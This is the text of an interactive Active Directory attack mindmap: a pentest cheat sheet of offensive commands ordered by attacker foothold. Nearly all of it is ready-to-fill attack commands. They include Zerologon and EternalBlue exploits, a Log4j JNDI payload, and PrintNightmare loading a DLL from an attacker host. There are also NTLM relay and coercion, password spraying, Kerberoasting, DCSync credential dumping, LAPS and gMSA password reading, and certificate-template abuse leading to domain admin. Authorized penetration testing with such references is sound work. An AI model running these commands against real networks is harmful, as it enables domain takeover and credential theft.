← boxes Active Directory Mindmap v2025.03 drag to pan · ⌘/ctrl + wheel to zoom · click a command to copy it · click an outcome to follow it
Active Directory Mindmap v2025.03 after ocd-mindmaps · GPL-3.0 · edited here

No Credentials

34 cmds open ↗

Vulnerable host

  • nxc nxc smb <ip_range>
  • nmap nmap -sP -p <ip>
  • nmap nmap -Pn -sV --top-ports 50 --open <ip>
  • nmap nmap -Pn --script smb-vuln* -p139,445 <ip>
  • nmap nmap -Pn -sC -sV -oA <output> <ip>
  • nmap nmap -Pn -sC -sV -p- -oA <output> <ip>
  • nmap nmap -sU -sC -sV -oA <output> <ip>

  • nmcli nmcli dev show <interface>
  • nslookup nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain>
  • nmap nmap -p 88 --open <ip_range>

  • dig dig axfr <domain_name> @<name_server>

  • nxc nxc smb <ip_range> -u '' -p ''
  • nxc nxc smb <ip_range> -u 'a' -p ''
  • enum4linux-ng.py enum4linux-ng.py -a -u '' -p '' <ip>
  • smbclient smbclient -U '%' -L //<ip>

Username

  • nmap nmap -n -sV --script 'ldap*' and not brute -p 389 <dc_ip>
  • ldapsearch ldapsearch -x -H <dc_ip> -s base

Username

  • nxc nxc smb <dc_ip> --users
  • nxc nxc smb <dc_ip> --rid-brute 10000 # bruteforcing RID
  • net rpc group members 'Domain Users' -W '<domain> -l <ip> -U '%'

Username

  • kerbrute kerbrute userenum -d <domain> <userlist>
  • nmap nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm= '<domain>',userdb=<user_list_file>" <dc_ip>

poisoning SMBpoisoning LDAPpoisoning HTTP

  • LLMNR / NBTNS / MDNS
    • responder responder -l <interface>
  • ⚠️ DHCPv6 (IPv6 prefered to IPv4)
    • mitm6 mitm6 -d <domain>
    • bettercap bettercap
  • ⚠️ ARP Poisoning

Coerce SMB

  • Unauthenticated PetitPotam (CVE-2022-26925)cve
    • petitpotam.py petitpotam.py -d <domain> <listener> <target>

    • pxethief.py pxethief.py 1
    • pxethief.py pxethief.py 2 <distribution_point_ip>
  • password protectedPXE Hash
    • tftp tftp -i <dp_ip> GET "\xxx\boot.var"
    • pxethief.py pxethief.py 5 '\xxx\boot.var'

timeroast hash

  • timeroast.py timeroast.py <dc_ip> -o <output_log>

Quick Compromise

16 cmds open ↗

cveDomain admin

  • zerologon-scan zerologon-scan '<dc_netbios_name>' '<ip>'
  • cve-2020-1472-exploit.py cve-2020-1472-exploit.py <MACHINE_BIOS_NAME> <ip>

cveAdminLow access

  • msf> msf> exploit/windows/smb/ms17_010_eternalblue # SMBv1 only

AdminLow access

  • msf> msf> auxiliary/scanner/http/tomcat_enum
  • msf> msf> exploit/multi/http/tomcat_mgr_deploy

AdminLow access

  • msf> msf> use exploit/multi/misc/java_rmi_server

AdminLow access

  • ysoserial.jar ysoserial.jar <gadget> '<cmd>' |nc <ip> <port>

AdminLow access

  • ${jndi:ldap://<ip>:<port>/o=reference}

AdminLow access

  • msf> msf> use auxiliary/admin/mssql/mssql_enum_sql_logins

Admin

  • Proxyshellcve
    • proxyshell_rce.py proxyshell_rce.py -u https://<exchange> -e administrator@<domain>

User AccountLow accessAdmin

  • CVE-2023-27532 (creds - Veeam backup)cve
    • VeeamHax.exe VeeamHax.exe --target <veeam_server>
    • CVE-2023-27532 CVE-2023-27532 net.tcp:/<target>:<port>/
  • CVE-2024-29849 (auth bypass - Veeam Backup Enterprise Manager)cve
    • CVE-2024-29849.py CVE-2024-29849.py --target https://<veeam_ip>:<veeam_port>/ --callback-server <attacker_ip>:<port>
  • CVE-2024-29855 (auth bypass - Veeam Recovery Orchestrator)cve
    • CVE-2024-29855.py CVE-2024-29855.py --start_time <start_time_epoch> --end_time <end_time_epoch> --username <user>@<domain> --target https://<veeam_ip>:<veeam_port>/
  • CVE-2024-40711 (unserialize - Veeam backup)cve
    • CVE-2024-40711.exe CVE-2024-40711.exe -f binaryformatter -g Veeam -c http://<attacker_ip>:8000/trigger --targetveeam <veeam_ip>

AdminLow access

  • CVE-2022-35914cve
    • /vendor/htmlawed/htmlawed/htmLawedTest.php
  • CVE_2023_41320cve
    • cve_2023_41320.py cve_2023_41320.py -u <user> -p <password> -t <ip>

  • nuclei
    • nuclei nuclei -target <ip_range>
  • nessus

Valid user (no password)

18 cmds open ↗

  • Get password policy (you need creds,but you should get the policy first to avoid locking accounts)
    • default policy
      • nxc nxc smb <dc_ip> -u '<user>' -p '<password>' --pass-polwww.thehacker.recipes ↗
      • Get-ADDefaultDomainPasswordPolicy Get-ADDefaultDomainPasswordPolicy
      • ldeep ldeep ldap -u <user> -p <password> -d <domain> -s ldap://<dc_ip> domain_policy
    • Fined Policy (Privileged)
      • ldapsearch-ad.py ldapsearch-ad.py --server <dc> -d <domain> -u <user> -p <pass> --type pass-pols
      • Get-ADFineGainedPasswordPolicy Get-ADFineGainedPasswordPolicy -filter *
      • ldeep ldeep ldap -u <user> -p <password> -d <domain> -s ldap://<dc_ip> pso # can also be runned with a low priv account but less information will be available
  • ⚠️ user == passwordClear text Credentials
    • nxc nxc smb <dc_ip> -u <users.txt> -p <passwords.txt> --no-bruteforce --continue-on-success
    • sprayhound sprayhound -U <users.txt> -d <domain> -dc <dc_ip> # add --lower to lowercase and --upper to uppercase. Add nothing to get only user=pass
  • ⚠️ usuals passwords (SeasonYear!, Company123, ...)Clear text Credentials
    • nxc nxc smb <dc_ip> -u <users.txt> -p <password> --continue-on-success
    • sprayhound sprayhound -U <users.txt> -p <password> -d <domain> -dc <dc_ip>
    • kerbrute kerbrute passwordspray -d <domain> <users.txt> <password>

  • List ASREPRoastable Users (need creds)
    • MATCH MATCH (u:User) WHERE u.dontreqpreauth = true AND u.enabled = true RETURN u
  • ASREP roastingHash found ASREP
    • GetNPUsers.py GetNPUsers.py <domain>/ -usersfile <users.txt> -format hashcat -outputfile <output.txt>
    • nxc nxc ldap <dc_ip> -u <users.txt> -p '' --asreproast <output.txt>
    • Rubeus.exe Rubeus.exe asreproast /format:hashcat
  • Blind KerberoastingHash found TGS
    • Rubeus.exe Rubeus.exe keberoast /domain:<domain> /dc:<dcip> /nopreauth: <asrep_user> /spns:<users.txt>
    • GetUserSPNs.py GetUserSPNs.py -no-preauth "<asrep_user>" -usersfile "<user_list.txt>" -dc-host "<dc_ip>" "<domain>"/
  • CVE-2022-33679cveLat move PTT
    • CVE-2022-33679.py CVE-2022-33679.py <domain>/<user> <target>

Man In The Middle (Listen and Relay)

12 cmds open ↗

Hash NTLMv1 or NTLMv2UsernameCredentials (ldap/http)

  • responder responder -l <interface> #use --lm to force downgrade
  • smbclient.py smbclient.py

  • MS08-068 self relaycve
    • msf> msf> exploit/windows/smb_smb_relay # windows 2000 / windows server 2008
  • SMB -> LDAP(S)
  • HTTP(S) -> LDAP(S)
  • To LDAP(S)
    • Relay to LDAP if LDAP signing and LDAPS channel binding not enforced (default)
      • ntlmrelayx.py ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --add-computer <computer_name> <computer_password> --delegate-access RBCD
      • ntlmrelayx.py ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --shadow-credentials --shadow-target '<dc_name$>'Shadow Credentials
      • ntlmrelayx.py ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --escalate-user <user>Domain admin
      • ntlmrelayx.py ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --interactive # connect to ldap_shell with nc 127.0.0.1 10111LDAP SHELL
  • To SMB
    • Relay to SMB (if SMB is not signed)
      • Find SMB not signed targets (default if not a Domain controler)
        • nxc nxc smb <ip_range> --gen-relay-list smb_unsigned_ips.txt
      • ntlmrelayx.py ntlmrelayx.py -tf smb_unsigned_ips.txt -smb2support [--ipv6] -socksSMB Socks
  • To HTTP
    • Relay to CA web enrollementESC8
    • Relay to WSUSWSUS
  • To MsSQL
    • ntlmrelayx.py ntlmrelayx.py -t mssql://<ip> [-smb2support] -socksMSSQL Socks
  • SMB -> NETLOGON
    • Zero-Logon (safe method) (CVE-202-1472)cve
      • Relay one dc to another
        • ntlmrelayx.py ntlmrelayx.py -t dcsync://<dc_to_ip> -smb2support -auth-smb <user>:<password>DCSYNC

  • To HTTP
    • krbrelayx.py krbrelayx.py -t 'http://<pki>/certsrv/certfnsh.asp' --adcs --template DomainController -v '<target_netbios>$' -ip <attacker_ip>ESC8
  • SMB -> SMB
    • same as NTLM relay, use krbrelayx.py
  • SMB -> LDAP(S)
    • same as NTLM relay, use krbrelayx.py

Crack hash

15 cmds open ↗

  • john john --format=lm hash.txt --wordlist=<rockyou.txt>
  • hashcat hashcat -m 3000 -a 0 hash.txt <rockyou.txt>

  • john john --format=nt hash.txt --wordlist=<rockyou.txt>
  • hashcat hashcat -m 1000 -a 0 hash.txt <rockyou.txt>

  • john john --format=netntlm hash.txt --wordlist=<rockyou.txt>
  • hashcat hashcat -m 1000 -a 0 hash.txt <rockyou.txt>
  • crack.shcrack.sh ↗

  • john john --format=netntlmv2 hash.txt --wordlist=<rockyou.txt>
  • hashcat hashcat -m 5600 -a 0 hash.txt <rockyou.txt>

  • john john --format=krb5tgs hash.txt --wordlist=<rockyou.txt>
  • hashcat hashcat -m 13100 -a 0 hash.txt <rockyou.txt>

  • hashcat hashcat -m 19600 -a 0 hash.txt <rockyou.txt>

  • hashcat hashcat -m 18200 -a 0 hash.txt <rockyou.txt>

  • hashcat hashcat -m 2100 -a 0 hash.txt <rockyou.txt>

  • hashcat hashcat -m 31300 -a 3 hash.txt -w 3 ?l?l?l?l?l?l?l

  • hashcat hashcat -m 19850 -a 0 hash.txt <rockyou.txt>

Valid Credentials (cleartext creds, nt hash, kerberos ticket)

40 cmds open ↗

  • Find all usersUsername
    • GetADUsers.py GetADUsers.py -all -dc-ip <dc_ip> <domain>/<username>
    • nxc nxc smb <dc_ip> -u '<user>' -p '<password>' --users
  • Enumerate SMB shareScroll shares
    • nxc nxc smb <ip_range> -u '<user>' -p '<password>' -M spider_plus
    • nxc nxc smb <ip_range> -u '<user>' -p '<password>' --shares [--get-file \\<filename> <filename>]
    • manspider manspider <ip_range> -c passw -e <file extensions> -d <domain> -u <user> -p <password>
  • Bloodhound LegacyACLDelegationUsername
    • bloodhound-python bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all
    • rusthound rusthound -d <domain_to_enum> -u '<user>@<domain>' -p '<password>' -o <outfile.zip> -z
    • import-module sharphound.ps1;invoke-bloodhound -collectionmethod all -domain <domain>
    • sharphound.exe sharphound.exe -c all -d <domain>
  • Bloodhound CEACLDelegationUsername
    • bloodhound-python bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all
    • rusthound-ce rusthound-ce -d <domain_to_enum> -u '<user>@<domain>' -p '<password>' -o <outfile.zip> -z --ldap-filter=(objectGuid=*)
    • sharphound.exe sharphound.exe -c all -d <domain>
    • SOAPHound.exe SOAPHound.exe -c c:\temp\cache.txt --bhdump -o c:\temp\bloodhound-output --autosplit --threshold 900
  • Enumerate LdapACLDelegationUsername
    • ldeep ldeep ldap -u <users> -p '<password>' -d <domain> -s ldap://<dc_ip> all <backup_folder>
    • ldapdomaindump.py ldapdomaindump.py -u <user> -p <password> -o <dump_folder> ldap://<dc_ip>:389
    • ldapsearch-ad.py ldapsearch-ad.py -l <dc_ip> -d <domain> -u <user> -p '<password>' -o <output.log> -t all
    • adidnsdump adidnsdump -u <domain>\\<user> -p "<password>" --print-zones <dc_ip>

ADCS Exploitation

  • certify.exe certify.exe find
  • certipy certipy find -u <user>@<domain> -p '<password>' -dc-ip <dc_ip>

SCCM Exploitation

  • sccmhunter.py sccmhunter.py find -u <user> -p <password> -d <domain> -dc-ip <dc_ip> -debug
  • ldeep ldeep ldap -u <user> -p <password> -d <domain> -s ldap://<dc_ip> sccm
  • SharpSCCM.exe SharpSCCM.exe local site-info

  • from BH result
    • AD-miner AD-miner -c -cf Report -u <neo4j_username> -p <neo4j_password>
  • PingCastle.exe PingCastle.exe --healthcheck --server <domain>
  • Import-Module .\adPEAS.ps1; Invoke-adPEAS -Domain '<domain>' -Server '<dc_fqdn>'

Hash TGS

  • MATCH MATCH (u:User) WHERE u.hasspn=true AND u.enabled = true AND NOT u.objectid ENDS WITH '-502' AND NOT COALESCE(u.gmsa, false) = true AND NOT COALESCE(u.msa, false) = true RETURN u
  • GetUserSPNs.py GetUserSPNs.py -request -dc-ip <dc_ip> <domain>/<user>:<password>
  • Rubeus.exe Rubeus.exe kerberoast

  • Drop file
    • .lnk
      • nxc nxc smb <dc_ip> -u '<user>' -p '<password>' -M slinky -o NAME=<filename> SERVER=<attacker_ip>
    • .scf
      • nxc nxc smb <dc_ip> -u '<user>' -p '<password>' -M sucffy -o NAME=<filename> SERVER=<attacker_ip>
    • .url
      • [InternetShortcut]... IconFile=\\<attacker_ip>\%USERNAME%.icon
    • Other files
      • ntlm_theft.py ntlm_theft.py -g all -s <your_ip> -f test
  • Webdav
    • Enable webclient
      • .searchConnector-ms
        • nxc nxc smb <dc_ip> -u '<user>' -p '<password>' -M drop-sc
    • add attack computer in dns
      • dnstool.py dnstool.py -u <domain>\<user> -p <pass> --record <attack_name> --action add --data <ip_attacker> <dc_ip>
    • Launch coerce with <attacker_hostname>@80/x as targetHTTP Coerce
  • RPC callSMB NTLM Coerce
    • printerbug.py printerbug.py <domain>/<username>:<password>@<printer_ip> <listener_ip>
    • petitpotam.py petitpotam.py -d <domain> -u <user> -p <password> <listnerer_ip> <target_ip>
    • coercer.py coercer.py -d <domain> -u <user> -p <password> -t <target> -l <attacker_ip>
  • Coerce kerberosSMB Kerberos coerce
    • dnstool.py dnstool.py -u "<domain>\<user>" -p '<password>' -d "<attacker_ip>" --action add "<dns_server_ip>" -r "<servername>1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" --tcp
      • petitpotam.py petitpotam.py -u '<user>' -p '<password>' -d <domain> '<servername>1UWh...' <target>

  • Find MSOL
    • nxc nxc ldap <dc_ip> -u '<user>' -p '<password>' -M get-desc-users |grep -i MSOL

Lateral move

Low access (Privilege escalation)

15 cmds open ↗

Low access (without applocker)

  • Get-Applocker infos
    • Get-ChildItem Get-ChildItem -Path HKLM:\SOFTWARE\Policies \Microsoft\Windows\SrpV2\Exe (dll/msi/...)
  • files in writables paths
    • C:\Windows\Temp
    • C:\Windows\Tasks
  • installutil.exe installutil.exe /logfile= /LogToConsole=false /U C:\runme.exe
  • mshta.exe mshta.exe my.hta
  • MsBuild.exe MsBuild.exe pshell.xml

Admin

  • Fodhelper.exe
  • wsreset.exe wsreset.exe
  • msdt.exe msdt.exe

Admin

  • winPEASany_ofs.exe winPEASany_ofs.exe
  • .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended"

User Account

  • findstr findstr /si 'pass' *.txt *.xml *.docx *.ini

Admin

  • SMBGhost CVE-2020-0796cve
  • CVE-2021-36934 (HiveNightmare/SeriousSAM)cve
    • vssadmin vssadmin list shadows

HTTP Coerce

  • open file <file>.searchConnector-ms
    • dnstool.py dnstool.py -u <domain>\<user> -p <pass> --record 'attacker' --action add --data <ip_attacker> <dc_ip>
      • petitpotam.py petitpotam.py -u '<user>' -p <pass> -d '<domain>' "attacker@80/random.txt" <ip>

Admin

  • KrbRelayUp.exe KrbRelayUp.exe relay -Domain <domain> -CreateNewComputerAccount -ComputerName <computer$> -ComputerPassword <password>
    • KrbRelayUp.exe KrbRelayUp.exe spawn -m rbcd -d <domain> -dc <dc> -cn <computer_name>-cp <omputer_pass>

Admin

  • RoguePatatocve
  • GodPotatocve
  • PrintSpoofercve
  • RemotePotato0

Know vulnerabilities authenticated

16 cmds open ↗

PTTDomain adminAdmin

  • findSMB2UPTime.py findSMB2UPTime.py <ip>
    • ms14-068.py ms14-068.py -u <user>@<domain> -p <password> -s <user_sid> -d <dc_fqdn>
    • msf> msf> use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
    • goldenPac.py goldenPac.py -dc-ip <dc_ip> <domain>/<user>:<password>@target

Domain admin

  • msf> msf> use auxiliary/scanner/smb/smb_enum_gpp
  • findstr findstr /S /I cpassword \\<domain_fqdn>\sysvol\<domain_fqdn>\policies\*.xml
  • Get-GPPPassword.py Get-GPPPassword.py <domain>/<user>:<password>@<dc_fqdn>

HTTP CoerceDomain adminAdmin

  • privexchange.py privexchange.py -ah <attacker_ip> <exchange_host> -u <user> -d <domain> -p <password>

PTTDCSYNCDomain admin

  • nxc nxc smb <ip> -u 'user' -p 'pass' -M nopac #scan
  • noPac.exe noPac.exe -domain <domain> -user <user> -pass <password> /dc <dc_fqdn> /mAccount <machine_account> /mPassword <machine_password> /service cifs /ptt

Admin

  • nxc nxc smb <ip> -u 'user' -p 'pass' -M printnightmare #scan
  • printnightmare.py printnightmare.py -dll '\\<attacker_ip>\smb\add_user.dll' '<user>:<password>@<ip>'

PTTDCSYNCDomain admin

  • Create account
    • certipy certipy account create -u <user>@<domain> -p '<password>' -user 'certifriedpc' -pass 'certifriedpass' -dns '<fqdn_dc>'
  • Request
    • certipy certipy req -u 'certifriedpc$'@<domain> -p 'certifriedpass' -target <ca_fqdn> -ca <ca_name> -template Machine
  • Authentication
    • certipy certipy auth -pfx <pfx_file> -username '<dc>$' -domain <domain> -dc-ip <dc_ip>

Admin

  • poc_aug3.py poc_aug3.py <host> <username> <password> <command>

ACLs/ACEs permissions

22 cmds open ↗

Domain AdminLateral moveCrack hash

  • Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts
  • mimikatz mimikatz lsadump::dcsync /domain:<target_domain> /user:<target_domain>\administrator
  • secretsdump.py secretsdump.py '<domain>'/'<user>':'<password>'@'<domain_controller>'

  • GenericAll/GenericWrite/Self/Add Extended Rights
    • Add member to the group
  • Write Owner
    • Grant Ownership
  • WriteDACL + WriteOwner
    • Grant rights
      • Give yourself generic all

  • Write Dacl
    • ACE Inheritance
      • Grant rights
  • GenericAll / GenericWrite / Manage Group Policy Links
    • OUned.py OUned.py --config config.ini

  • gMSADumper.py gMSADumper.py -u '<user>' -p '<password>' -d '<domain>'
  • nxc nxc ldap <ip> -u <user> -p <pass> --gmsa
  • ldeep ldeep ldap -u <user> -p <password> -d <domain> -s ldaps://<dc_ip> gmsa

  • Who can read LAPS
    • MATCH MATCH p=(g:Base)-[:ReadLAPSPassword]->(c:Computer) RETURN p
  • Read LAPSAdmin
    • Get-LapsADPassword Get-LapsADPassword -DomainController <ip_dc> -Credential <domain>\<login> | Format-Table -AutoSize
    • ldeep ldeep ldap -u <user> -p <password> -d <domain> -s ldap://<dc_ip> laps
    • foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
    • nxc nxc ldap <dc_ip> -d <domain> -u <user> -p <password> --module laps
    • msf> msf> use post/windows/gather/credentials/enum_laps

  • Who can control GPOs
    • MATCH MATCH p=((n:Base)-[]->(gp:GPO)) RETURN p
  • SID of principals that can create new GPOs in the domain
    • Get-DomainObjectAcl Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=blah,DC=com" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier | fl
  • Return the principals that can write to the GP-Link attribute on OUs
    • Get-DomainOU Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, SecurityIdentifier | fl
  • Generic Write on GPO
    • Abuse GPOACCESS

  • DNSadmins abuse (CVE-2021-40469)cveAdmin
    • dnscmd.exe dnscmd.exe /config /serverlevelplugindll <\\path\to\dll> # need a dnsadmin user
    • sc sc \\DNSServer stop dns sc \\DNSServer start dns

Kerberos Delegation

24 cmds open ↗

  • findDelegation.py findDelegation.py "<domain>"/"<user>":"<password>"
  • With BloodHound
    • Unconstrained
      • MATCH MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
      • MATCH MATCH (c:User {unconstraineddelegation:true}) RETURN c
    • Constrained
      • MATCH MATCH p=((c:Base)-[:AllowedToDelegate]->(t:Computer)) RETURN p
      • MATCH MATCH p=shortestPath((u:User)-[*1..]->(c:Computer {name: "<MYTARGET.FQDN>"})) RETURN p

Kerberos TGTPassTheTicket

  • UAC: ADS_UF_TRUSTED_FOR_DELEGATION
    • Force connection with coerce
      • Get tickets
        • mimikatz mimikatz privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export
        • Rubeus.exe Rubeus.exe dump /service:krbtgt /nowrap
        • Rubeus.exe Rubeus.exe dump /luid:0xdeadbeef /nowrap
        • Rubeus.exe Rubeus.exe monitor /interval:5

  • With protocol transition (any) UAC: TRUST_TO_AUTH_FOR_DELEGATION
    • Get TGT for user
      • Request S4u2self
        • Request S4u2proxy
    • Rubeus.exe Rubeus.exe hash /password:<password>
      • Rubeus.exe Rubeus.exe asktgt /user:<user> /domain:<domain> /aes256:<AES 256 hash>
        • Rubeus.exe Rubeus.exe s4u /ticket:<ticket> /impersonateuser:<admin_user> /msdsspn:<spn_constrained> /altservice:<altservice> /ptt
    • getST.py getST.py -spn '<spn>/<target>' -impersonate Administrator -dc-ip '<dc_ip>' '<domain>/<user>:<password>' -altservice <altservice>
  • Without protocol transition (kerberos only) UAC: TRUSTED_FOR_DELEGATION
    • Constrain between Y and Z
      • Add computer X
        • Add RBCD : delegate from X to Y
          • s4u2self X (impersonate admin)
            • S4u2Proxy X (impersonate admin on spn/Y)
              • Forwardable TGS for Y
                • S4u2Proxy Y (impersonate admin on spn/Z)
    • add computer account
      • addcomputer.py addcomputer.py -computer-name '<computer_name>' -computer-pass '<ComputerPassword>' -dc-host <dc> -domain-netbios <domain_netbios> '<domain>/<user>:<password>'
    • RBCD With added computer accountKerberos TGS
      • rbcd.py rbcd.py -delegate-from '<rbcd_con>$' -delegate-to '<constrained>$' -dc-ip '<dc>' -action 'write' -hashes '<hash>' <domain>/<constrained>$
        • getST.py getST.py -spn host/<constrained> -impersonate Administrator --dc-ip <dc_ip> '<domain>/<rbcd_con>$:<rbcd_conpass>'
          • getST.py getST.py -spn <constrained_spn>/<target> -hashes '<hash>' '<domain>/<constrained>$' -impersonate Administrator --dc-ip <dc_ip> -additional-ticket <previous_ticket>
    • Self RBCDcve
      • Like RBCD without add computer

  • add computer account
    • addcomputer.py addcomputer.py -computer-name '<computer_name>' -computer-pass '<ComputerPassword>' -dc-host <dc> -domain-netbios <domain_netbios> '<domain>/<user>:<password>'
  • RBCD With added computer account
    • Rubeus.exe Rubeus.exe hash /password:<computer_pass> /user:<computer> /domain:<domain>
      • Rubeus.exe Rubeus.exe s4u /user:<fake_computer$> /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/<victim.domain.local> /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /pttAdmin
    • rbcd.py rbcd.py -delegate-from '<computer>$' -delegate-to '<target>$' -dc-ip '<dc>' -action 'write' <domain>/<user>:<password>
      • getST.py getST.py -spn host/<dc_fqdn> '<domain>/<computer_account>:<computer_pass>' -impersonate Administrator --dc-ip <dc_ip>Kerberos TGTAdmin

  • Get machine account (X)'s TGT
    • Get a ST on X as user admin
  • getTGT.py getTGT.py -dc-ip "<dc_ip>" -hashes :"<machine_hash>" "<domain>"/"<machine>$"
    • getST.py getST.py -self -impersonate "<admin>" -altservice "cifs/<machine>" -k -no-pass -dc-ip "DomainController" "<domain>"/'<machine>$'Admin

ADCS

43 cmds open ↗

Web enrollementVulnerable templateVulnerable CAMisconfigured ACLVulnerable PKI Object AC

  • certutil certutil -v -dsTemplate
  • certify.exe certify.exe find [ /vulnerable]
  • certipy certipy find -u <user>@<domain> -p <password> -dc-ip <dc_ip>
  • ldeep ldeep ldap -u <user> -p <password> -d <domain> -s <dc_ip> templates
  • Get PKI objects information
    • certify.exe certify.exe pkiobjects
  • Display CA information
    • certutil certutil -TCAInfo
    • certify.exe certify.exe cas

Domain admin

    • ntlmrelayx.py ntlmrelayx.py -t http://<dc_ip>/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController
      • Rubeus.exe Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
      • gettgtpkinit.py gettgtpkinit.py -pfx-base64 $(cat cert.b64) <domain>/<dc_name>$ <ccache_file>
    • certipy certipy relay -target http://<ip_ca>
      • certipy certipy auth -pfx <certificate> -dc-ip <dc_ip>

    • certipy certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<vulnerable template name>' -ca <ca_name> -upn <target_user>@<domain>
    • certify.exe certify.exe request /ca:<server>\<ca-name> /template:"<vulnerable template name>" [/altname:"Admin"]
  • ESC2ESC3
  • ESC3
    • certify.exe certify.exe request /ca:<server>\<ca-name> /template:"<vulnerable template name>"
      • certify.exe certify.exe request request /ca:<server>\<ca-name> /template:<template> /onbehalfof:<domain>\<user> /enrollcert:<path.pfx> [/enrollcertpw:<cert-password>]
    • certipy certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<vulnerable template name>' -ca <ca_name>
      • certipy certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<vulnerable template name>' -ca <ca_name> -on-behalf-of '<domain>\<user>' -pfx <cert>
    • certipy certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<vulnerable template name>' -ca <ca_name>
    • certify.exe certify.exe request /ca:<server>\<ca-name> /template:"<vulnerable template name>"
  • ESC15
    • certipy certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<version 1 template with enrolee flag>' -ca <ca_name> -upn <target_user>@<domain> --application-policies 'Client Authentication' #[PR 228]Pass the certificate (only Schannel)
    • certipy certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<version 1 template with enrolee flag>' -ca <ca_name> --application-policies 'Certificate Request Agent' # [PR 228]Pass the certificate
      • certipy certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<vulnerable template name>' -ca <ca_name> -on-behalf-of '<domain>\<user>' -pfx <cert>

  • ESC4
    • write privilege over a certificate template
      • certipy certipy template -u <user>@<domain> -p '<password>' -template <vuln_template> -save-old -debugESC1
      • restore template
        • certipy certipy template -u <user>@<domain> -p '<password>' -template <vuln_template> -configuration <template>.json
  • ESC7
    • Manage CA
      • certipy certipy ca -ca <ca_name> -add-officer '<user>' -username <user>@<domain> -password <password> -dc-ip <dc_ip> -target-ip <target_ip>ESC7 Manage certificate
    • Manage certificate
      • certipy certipy ca -ca <ca_name> -enable-template '<ecs1_vuln_template>' -username <user>@<domain> -password <password>
        • certipy certipy req -username <user>@<domain> -password <password> -ca <ca_name> -template '<vulnerable template name>' -upn '<target_user>'
          • error, but save private key and get issue request
      • Issue request
        • certipy certipy ca -u <user>@<domain> -p '<password>' -ca <ca_name> -issue-request <request_id>
          • certipy certipy req -u <user>@<domain> -p '<password>' -ca <ca_name> -retreive <request_id>Pass the certificate

  • ESC5
    • Vulnerable acl on PKIACL
    • Golden certificate
      • certipy certipy ca -backup -u <user>@<domain> -hashes <hash_nt> -ca <ca_name> -debug -target <ca_ip>

  • ESC6cveESC1
    • Abuse ATTRIBUTESUBJECTALTNAME2 flag set on CA you can choose any certificate template that permits client authentication
    • ntlmrelayx.py ntlmrelayx.py -t rpc://<ca_ip> -smb2support -rpc-mode ICPR -icpr-ca-name <ca_name>
      • Rubeus.exe Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
      • gettgtpkinit.py gettgtpkinit.py -pfx-base64 $(cat cert.b64) <domain>/<dc_name>$ <ccache_file>
    • certipy certipy relay -target rpc://<ip_ca> -ca '<ca_name>'
      • certipy certipy auth -pfx <certificate> -dc-ip <dc_ip>

  • ESC9/ESC10 (implicit)
    • certipy certipy shadow auto -username <accountA>@<domain> -p <passA> -account <accountB>
      • ESC9/ESC10 (Case 1)
        • certipy certipy account update -username <accountA>@<domain> -password <passA> -user <accountB> -upn Administratorreset accountB UPN
          • ESC9
            • certipy certipy req -username <accountB>@<domain> -hashes <hashB> -ca <ca_name> -template <vulnerable template>
          • ESC10 (case 1)
            • certipy certipy req -username <accountB>@<domain> -hashes <hashB> -ca <ca_name> -template <any template with client auth>
      • ESC10 (Case 2)
        • certipy certipy account update -username <accountA>@<domain> -password <passA> -user <accountB> -upn '<dc_name$>@<domain>'ESC10 Case1
    • reset accountB UPN
      • certipy certipy account update -username <accountA>@<domain> -password <passA> -user <accountB> -upn <accountB>@<domain>Pass The Certificate
        • [Kerberos Mapping] ESC9/ESC10(Case 1)
        • [Schannel Mapping] ESC9/ESC10 (Case 2)
  • ESC14 (explicit)

SCCM

40 cmds open ↗

  • sccmhunter.py sccmhunter.py find -u <user> -p <password> -d <domain> -dc-ip <dc_ip> -debug
    • sccmhunter.py sccmhunter.py show -all
  • ldeep ldeep ldap -u <user> -p <password> -d <domain> -s ldap://<dc_ip> sccm
  • nxc nxc smb <sccm_server> -u <user> -p <password> -d <domain> --shares

NAA credentialsUser + Pass

  • Extract from pxe See no credsPXE

Admin on Site system

  • coerce sccm site server
    • ntlmrelayx.py ntlmrelayx.py -tf <site_systems> -smb2support

Admin

  • ntlmrelayx.py ntlmrelayx.py -t <sccm_server> -smb2support -socks # listen connection
    • SharpSCCM.exe SharpSCCM.exe invoke client-push -mp <sccm_server>.<domain> -sc <site_code> -t <attacker_ip> # Launch client push install
      • smbexec.py proxychains smbexec.py -no-pass <domain>/<socks_user>@<sccm_server>
        • cleanup

Relay ntlm

  • Create DNS A record for non existing computer x
    • dnstool.py dnstool.py -u '<domain>\<user>' -p <pass> -r <newcomputer>.<domain> -a add -t A -d <attacker_ip> <dc_ip>
